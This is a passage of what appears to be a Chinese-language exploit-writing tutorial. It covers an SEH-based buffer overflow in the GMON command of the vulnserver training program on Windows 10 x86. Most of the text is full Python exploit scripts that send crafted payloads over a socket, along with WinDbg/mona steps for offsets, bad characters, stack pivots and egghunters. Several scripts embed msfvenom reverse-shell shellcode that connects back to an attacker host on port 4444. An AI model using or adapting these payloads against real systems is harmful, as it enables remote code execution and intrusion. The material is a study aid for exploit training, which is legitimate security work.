shellcode += b"\x0c\x25\x0b\x95\xc6\xd4\xd4\x03\xa3\xd7\x5f"
shellcode += b"\xa0\x54\x99\x97\xcd\x46\x4e\x58\x98\x34\xd9"
shellcode += b"\x67\x36\x50\x85\xfa\xdd\xa0\xc0\xe6\x49\xf7"
shellcode += b"\x85\xd9\x83\x9d\x3b\x43\x3a\x83\xc1\x15\x05"
shellcode += b"\x07\x1e\xe6\x88\x86\xd3\x52\xaf\x98\x2d\x5a"
shellcode += b"\xeb\xcc\xe1\x0d\xa5\xba\x47\xe4\x07\x14\x1e"
shellcode += b"\x5b\xce\xf0\xe7\x97\xd1\x86\xe7\xfd\xa7\x66"
shellcode += b"\x59\xa8\xf1\x99\x56\x3c\xf6\xe2\x8a\xdc\xf9"
shellcode += b"\x39\x0f\xfc\x1b\xeb\x7a\x95\x85\x7e\xc7\xf8"
shellcode += b"\x35\x55\x04\x05\xb6\x5f\xf5\xf2\xa6\x2a\xf0"
shellcode += b"\xbf\x60\xc7\x88\xd0\x04\xe7\x3f\xd0\x0c"




junk = b"A"*(3547-len(shellcode)-len(egghunter)-32-32)
nseh = b"\xeb\x06\x90\x90" #jump 8 bytes
# nseh = b"\xcc\xcc\xcc\xcc"
seh = b"\xb4\x10\x50\x62" #0x625010b4
nops = b"\x90"*32
stage = b'\x66\x81\xC4\x54\x11' # add sp,0x1154
stage += b'\xff\xe4' # jmp,esp
others = b"C"*(5000-3547-4-4-len(egghunter)-len(stage))
PAYLOAD = (
b'GMON /.:/' +
junk +
nops +
egghunter +
nops +
shellcode+
nseh +
seh +
stage +
others
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

上面的代码在ESP跳转的时候,add esp,0x1174生成的机器码存在00会被截断,有个小技巧,可以使用add sp,0x1174代码,这样生成的机器码不会有00,如下所示:

seh

利用stack pivot结合egghunter seh最终的利用比较稳定,能够成功反弹shell,不像之前那篇stack pivot方法容易出幺蛾子。

成功反弹shell如下:

seh

参考:

1.https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/

2.https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/

本次实验讨论在Win10 21h2 x86系统下关闭DEP,利用SEH完成。

节省时间,FUZZ就不做了。直接改之前TRUN部分FUZZ代码即可。

来看一下vulnserver崩溃时寄存器的情况。

seh

注意看,SEH链被覆盖了。所以这里可能存在基于SEH的利用。接下来确定具体的offset。这里利用msf-pattern_offset生成5000的字符。继续测试可以得到如下:

seh

注意标红的字符串346f4533,查找其在生成的随机字符串中的位置,获取具体的偏移量为3547

seh

或者,直接在windbg中也可以:

1
2
3
4
5
6
### Loading Python Extension of WinDbg
.load pykd.pyd
### Mona.py Pattern_create
!py mona pattern_create 5000
### Mona.py Pattern_offset
!py mona pattern_offset 346f4533

seh

可以知道,3551个字符可以覆盖SEH Handler3547个字符可以覆盖Next SEH。(参照SEH结构,Next SEHSEH Handler前面)

查找P/P/R

1
!py mona seh -n

seh

具体的内容,可以查看生成的seh.txt文件。可能windbg的权限不够,导致seh.txt文件创建失败。

注意:选择的P/P/R所在DLL应该SafeSEHFalse

这里选择essfunc.dll0x625010b4所在地址的P/P/R

理论上0x625010b4就可以让eip指向shellcode的开始部分,触发shellcode。但是实际上跳转完成之后,后续中间可能存在脏字符,需要根据实际情况进行调整。如本例。用\xcc\xcc\xcc\xcc中断程序执行,来看一下栈上的数据的情况。结合之前SEH利用,JMP的时候至少要跳过6byte,实际上是JMP SHORT 0x08或者JMP $+0x08。(因为JMP指令会占2byte,所以后面的偏移为0x08

seh

当前使用的利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import socket

HOST = '192.168.13.186'
PORT = 9999

#msf-pattern_create -l 5000
junk = b"A"*3547
# nseh = "\xeb\x06\x90\x90" #jump 8 bytes
nseh = b"\xcc\xcc\xcc\xcc"
seh = b"\xb4\x10\x50\x62" #0x625010b4
nops = b""
# nops = "\x90"*100
shellcode = b"D"*(5000-3547-4-4)
PAYLOAD = (
b'GMON /.:/' +
junk +
nseh +
seh +
nops +
shellcode
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

看一下异常现场:

seh

继续跟进看一下,windbgEIP所指向栈空间数据如下:

seh

发现这里中间没有出现\x00,所以shellcode之前不一定需要插入一段\x90,不过为了防止出现意外情况,一般插入一段\x90比较好。看上面dump出来的信息,发现还有一个比较有意思的点,我们填充的\x44只覆盖了一部分栈空间,后续在这里写入shellcode是不可行的,因为空间不够,所以上面介绍的跳转方式已经不能使用了,需要换其他方式,可以使用egghunter技术或者使用stack pivot技术。

在使用stack pivot技术的时候,我把shellcode放在了A字符串的最开始部分,这样会导致shellcode执行失败,调试发现在shellcode执行完部分指令之后,栈空间会变成类似如下所示:

seh

注意标红的部分,此时栈空间出现了00导致会被截断。正确的方式是shellcode放在A字符串中间,在最终的利用代码里可以更加明确的理解这一点。

来确定一下坏字符,使用的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import socket

HOST = '192.168.13.186'
PORT = 9999

badchars=b""
badchars+=b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
badchars+=b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
badchars+=b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
badchars+=b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
badchars+=b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
badchars+=b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
badchars+=b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
badchars+=b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
badchars+=b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
badchars+=b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
badchars+=b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
badchars+=b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
badchars+=b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
badchars+=b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
badchars+=b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
badchars+=b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

#msf-pattern_create -l 5000
junk = b"A"*(3547-len(badchars))
# nseh = b"\xeb\x06\x90\x90" #jump 8 bytes
nseh = b"\xcc\xcc\xcc\xcc"
seh = b"\xb4\x10\x50\x62" #0x625010b4
nops = b""
# nops = "\x90"*100
shellcode = b"D"*(5000-3547-4-4-len(badchars))
PAYLOAD = (
b'GMON /.:/' +
badchars +
junk +
nseh +
seh +
nops +
shellcode
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

seh

可以发现,坏字符仅为\x00

其实,仔细分析,发现不用上面那么麻烦,按照正常的来,寻找坏字符的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import socket

HOST = '192.168.13.191'
PORT = 9999

badchars=b""
badchars+=b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
badchars+=b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
badchars+=b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
badchars+=b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
badchars+=b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
badchars+=b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
badchars+=b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
badchars+=b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
badchars+=b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
badchars+=b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
badchars+=b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
badchars+=b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
badchars+=b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
badchars+=b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
badchars+=b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
badchars+=b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

#msf-pattern_create -l 5000
# junk = b"A"*(3547-len(badchars))
junk = b"A"*3547
# nseh = b"\xeb\x06\x90\x90" #jump 8 bytes
nseh = b"\xcc\xcc\xcc\xcc"
seh = b"\xb4\x10\x50\x62" #0x625010b4
nops = b""
# nops = "\x90"*100
others = b"D"*(5000-3547-4-4-len(badchars))
PAYLOAD = (
b'GMON /.:/' +
junk +
nseh +
seh +
nops +
badchars +
others
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

来看一下windbg中此刻的内存情况:

seh

发现ecx-0x30正好指向坏字符,而且发现除了截断字符\x00,没有其他坏字符。

先来看stack pivot,构造思路:常规SEH利用,最后跳到handler之后的空间执行shellcode,现在在这个空间放置一个跳转指令,让它跳转到最开始A字符串中shellcode所在的位置,可以根据其距离ESP的距离来进行构造指令。先看最终的利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import socket

HOST = '192.168.13.191'
PORT = 9999

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'

shellcode = b""
shellcode += b"\xd9\xe9\xbd\x7c\xf8\xfd\xa2\xd9\x74\x24\xf4"
shellcode += b"\x58\x31\xc9\xb1\x52\x31\x68\x17\x03\x68\x17"
shellcode += b"\x83\x94\x04\x1f\x57\x98\x1d\x62\x98\x60\xde"
shellcode += b"\x03\x10\x85\xef\x03\x46\xce\x40\xb4\x0c\x82"
shellcode += b"\x6c\x3f\x40\x36\xe6\x4d\x4d\x39\x4f\xfb\xab"
shellcode += b"\x74\x50\x50\x8f\x17\xd2\xab\xdc\xf7\xeb\x63"
shellcode += b"\x11\xf6\x2c\x99\xd8\xaa\xe5\xd5\x4f\x5a\x81"
shellcode += b"\xa0\x53\xd1\xd9\x25\xd4\x06\xa9\x44\xf5\x99"
shellcode += b"\xa1\x1e\xd5\x18\x65\x2b\x5c\x02\x6a\x16\x16"
shellcode += b"\xb9\x58\xec\xa9\x6b\x91\x0d\x05\x52\x1d\xfc"
shellcode += b"\x57\x93\x9a\x1f\x22\xed\xd8\xa2\x35\x2a\xa2"
shellcode += b"\x78\xb3\xa8\x04\x0a\x63\x14\xb4\xdf\xf2\xdf"
shellcode += b"\xba\x94\x71\x87\xde\x2b\x55\xbc\xdb\xa0\x58"
shellcode += b"\x12\x6a\xf2\x7e\xb6\x36\xa0\x1f\xef\x92\x07"
shellcode += b"\x1f\xef\x7c\xf7\x85\x64\x90\xec\xb7\x27\xfd"
shellcode += b"\xc1\xf5\xd7\xfd\x4d\x8d\xa4\xcf\xd2\x25\x22"
shellcode += b"\x7c\x9a\xe3\xb5\x83\xb1\x54\x29\x7a\x3a\xa5"
shellcode += b"\x60\xb9\x6e\xf5\x1a\x68\x0f\x9e\xda\x95\xda"
shellcode += b"\x31\x8a\x39\xb5\xf1\x7a\xfa\x65\x9a\x90\xf5"
shellcode += b"\x5a\xba\x9b\xdf\xf2\x51\x66\x88\x3c\x0d\x65"
shellcode += b"\xc1\xd5\x4c\x75\xc0\x79\xd8\x93\x88\x91\x8c"
shellcode += b"\x0c\x25\x0b\x95\xc6\xd4\xd4\x03\xa3\xd7\x5f"
shellcode += b"\xa0\x54\x99\x97\xcd\x46\x4e\x58\x98\x34\xd9"
shellcode += b"\x67\x36\x50\x85\xfa\xdd\xa0\xc0\xe6\x49\xf7"
shellcode += b"\x85\xd9\x83\x9d\x3b\x43\x3a\x83\xc1\x15\x05"
shellcode += b"\x07\x1e\xe6\x88\x86\xd3\x52\xaf\x98\x2d\x5a"
shellcode += b"\xeb\xcc\xe1\x0d\xa5\xba\x47\xe4\x07\x14\x1e"
shellcode += b"\x5b\xce\xf0\xe7\x97\xd1\x86\xe7\xfd\xa7\x66"
shellcode += b"\x59\xa8\xf1\x99\x56\x3c\xf6\xe2\x8a\xdc\xf9"
shellcode += b"\x39\x0f\xfc\x1b\xeb\x7a\x95\x85\x7e\xc7\xf8"
shellcode += b"\x35\x55\x04\x05\xb6\x5f\xf5\xf2\xa6\x2a\xf0"
shellcode += b"\xbf\x60\xc7\x88\xd0\x04\xe7\x3f\xd0\x0c"



junk = b"A"*(3547-len(shellcode)-32)
nseh = b"\xeb\x06\x90\x90" #jump 8 bytes
# nseh = b"\xcc\xcc\xcc\xcc"
seh = b"\xb4\x10\x50\x62" #0x625010b4
nops = b"\x90"*32
# nops = "\x90"*100
stage = b'\x66\x81\xC4\xC0\x11' # add sp,0x11c0
stage += b'\xff\xe4' # jmp,esp
others = b"C"*(5000-3547-4-4-len(stage)-32)
PAYLOAD = (
b'GMON /.:/' +
junk +
nops +
shellcode+
nseh +
seh +
nops +
stage +
others
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

介绍mona里面一个有用的命令:

1
!py mona bpseh

会自动在SEH Handler地址处加上断点,方便调试。免得自己先!exchain,然后手动bp了。

seh

继续执行,会中断在P/P/R所在指令:

seh

JMP指令指向之前,看windbg中内存情况:

seh

搜索一下栈空间,看我们shellcode在哪里:

seh

看一下该地址与ESP之间的偏移,因为我们在shellcode之前增加了32\x90,所以要减掉32byte

seh

这里有个诡异的地方,最后如果使用add esp, 0x11c1的话,shellcode会执行不成功。虽然JMP ESP跳转到NOP指令,shellcode也是执行不成功的。这种方式有点不稳定。换一种方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import socket

HOST = '192.168.13.194'
PORT = 9999

offset = b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1E'


nseh = b"\xeb\x06\x90\x90" #jump 8 bytes
# nseh = b"\xcc\xcc\xcc\xcc"
seh = b"\xb4\x10\x50\x62" #0x625010b4
nops = b""
# nops = "\x90"*100
shellcode = b"D"*(5000-3547-4-4)
PAYLOAD = (
b'GMON /.:/' +
offset +
nseh +
seh +
nops +
# badchars +
shellcode
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

注意这里的offset字符串,生成的命令为:

1
!py mona pc 3547

windbg里面继续执行到跳转指令之前,看一下windbg的内存情况:

seh

接着运行如下命令:

1
!py mona findmsp

seh

stack pivot有好几个备选项。这里选择离ESP最近的,且是跳转到[ESP],完整的代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import socket

HOST = '192.168.13.194'
PORT = 9999

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'

shellcode = b""
shellcode += b"\xd9\xe9\xbd\x7c\xf8\xfd\xa2\xd9\x74\x24\xf4"
shellcode += b"\x58\x31\xc9\xb1\x52\x31\x68\x17\x03\x68\x17"
shellcode += b"\x83\x94\x04\x1f\x57\x98\x1d\x62\x98\x60\xde"
shellcode += b"\x03\x10\x85\xef\x03\x46\xce\x40\xb4\x0c\x82"
shellcode += b"\x6c\x3f\x40\x36\xe6\x4d\x4d\x39\x4f\xfb\xab"
shellcode += b"\x74\x50\x50\x8f\x17\xd2\xab\xdc\xf7\xeb\x63"
shellcode += b"\x11\xf6\x2c\x99\xd8\xaa\xe5\xd5\x4f\x5a\x81"
shellcode += b"\xa0\x53\xd1\xd9\x25\xd4\x06\xa9\x44\xf5\x99"
shellcode += b"\xa1\x1e\xd5\x18\x65\x2b\x5c\x02\x6a\x16\x16"
shellcode += b"\xb9\x58\xec\xa9\x6b\x91\x0d\x05\x52\x1d\xfc"
shellcode += b"\x57\x93\x9a\x1f\x22\xed\xd8\xa2\x35\x2a\xa2"
shellcode += b"\x78\xb3\xa8\x04\x0a\x63\x14\xb4\xdf\xf2\xdf"
shellcode += b"\xba\x94\x71\x87\xde\x2b\x55\xbc\xdb\xa0\x58"
shellcode += b"\x12\x6a\xf2\x7e\xb6\x36\xa0\x1f\xef\x92\x07"
shellcode += b"\x1f\xef\x7c\xf7\x85\x64\x90\xec\xb7\x27\xfd"
shellcode += b"\xc1\xf5\xd7\xfd\x4d\x8d\xa4\xcf\xd2\x25\x22"
shellcode += b"\x7c\x9a\xe3\xb5\x83\xb1\x54\x29\x7a\x3a\xa5"
shellcode += b"\x60\xb9\x6e\xf5\x1a\x68\x0f\x9e\xda\x95\xda"
shellcode += b"\x31\x8a\x39\xb5\xf1\x7a\xfa\x65\x9a\x90\xf5"
shellcode += b"\x5a\xba\x9b\xdf\xf2\x51\x66\x88\x3c\x0d\x65"
shellcode += b"\xc1\xd5\x4c\x75\xc0\x79\xd8\x93\x88\x91\x8c"
shellcode += b"\x0c\x25\x0b\x95\xc6\xd4\xd4\x03\xa3\xd7\x5f"
shellcode += b"\xa0\x54\x99\x97\xcd\x46\x4e\x58\x98\x34\xd9"
shellcode += b"\x67\x36\x50\x85\xfa\xdd\xa0\xc0\xe6\x49\xf7"
shellcode += b"\x85\xd9\x83\x9d\x3b\x43\x3a\x83\xc1\x15\x05"
shellcode += b"\x07\x1e\xe6\x88\x86\xd3\x52\xaf\x98\x2d\x5a"
shellcode += b"\xeb\xcc\xe1\x0d\xa5\xba\x47\xe4\x07\x14\x1e"
shellcode += b"\x5b\xce\xf0\xe7\x97\xd1\x86\xe7\xfd\xa7\x66"
shellcode += b"\x59\xa8\xf1\x99\x56\x3c\xf6\xe2\x8a\xdc\xf9"
shellcode += b"\x39\x0f\xfc\x1b\xeb\x7a\x95\x85\x7e\xc7\xf8"
shellcode += b"\x35\x55\x04\x05\xb6\x5f\xf5\xf2\xa6\x2a\xf0"
shellcode += b"\xbf\x60\xc7\x88\xd0\x04\xe7\x3f\xd0\x0c"



junk1 = b"A"*1999
junk2 = b"B"*(3547-1999-len(shellcode))
nseh = b"\xeb\x06\x90\x90" #jump 8 bytes
# nseh = b"\xcc\xcc\xcc\xcc"
seh = b"\xb4\x10\x50\x62" #0x625010b4
nops = b"\x90"*32
# nops = "\x90"*100
stage = b'\x83\xC4\x7F' #add esp,byte +0x7f
stage += b'\x83\xC4\x5D'#add esp,byte +0x5d
stage += b'\xFF\x24\x24'#jmp [esp]
others = b"C"*(5000-3547-4-4-len(stage)-32)
PAYLOAD = (
b'GMON /.:/' +
junk1 +
shellcode+
junk2+
nseh +
seh +
nops +
stage +
others
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

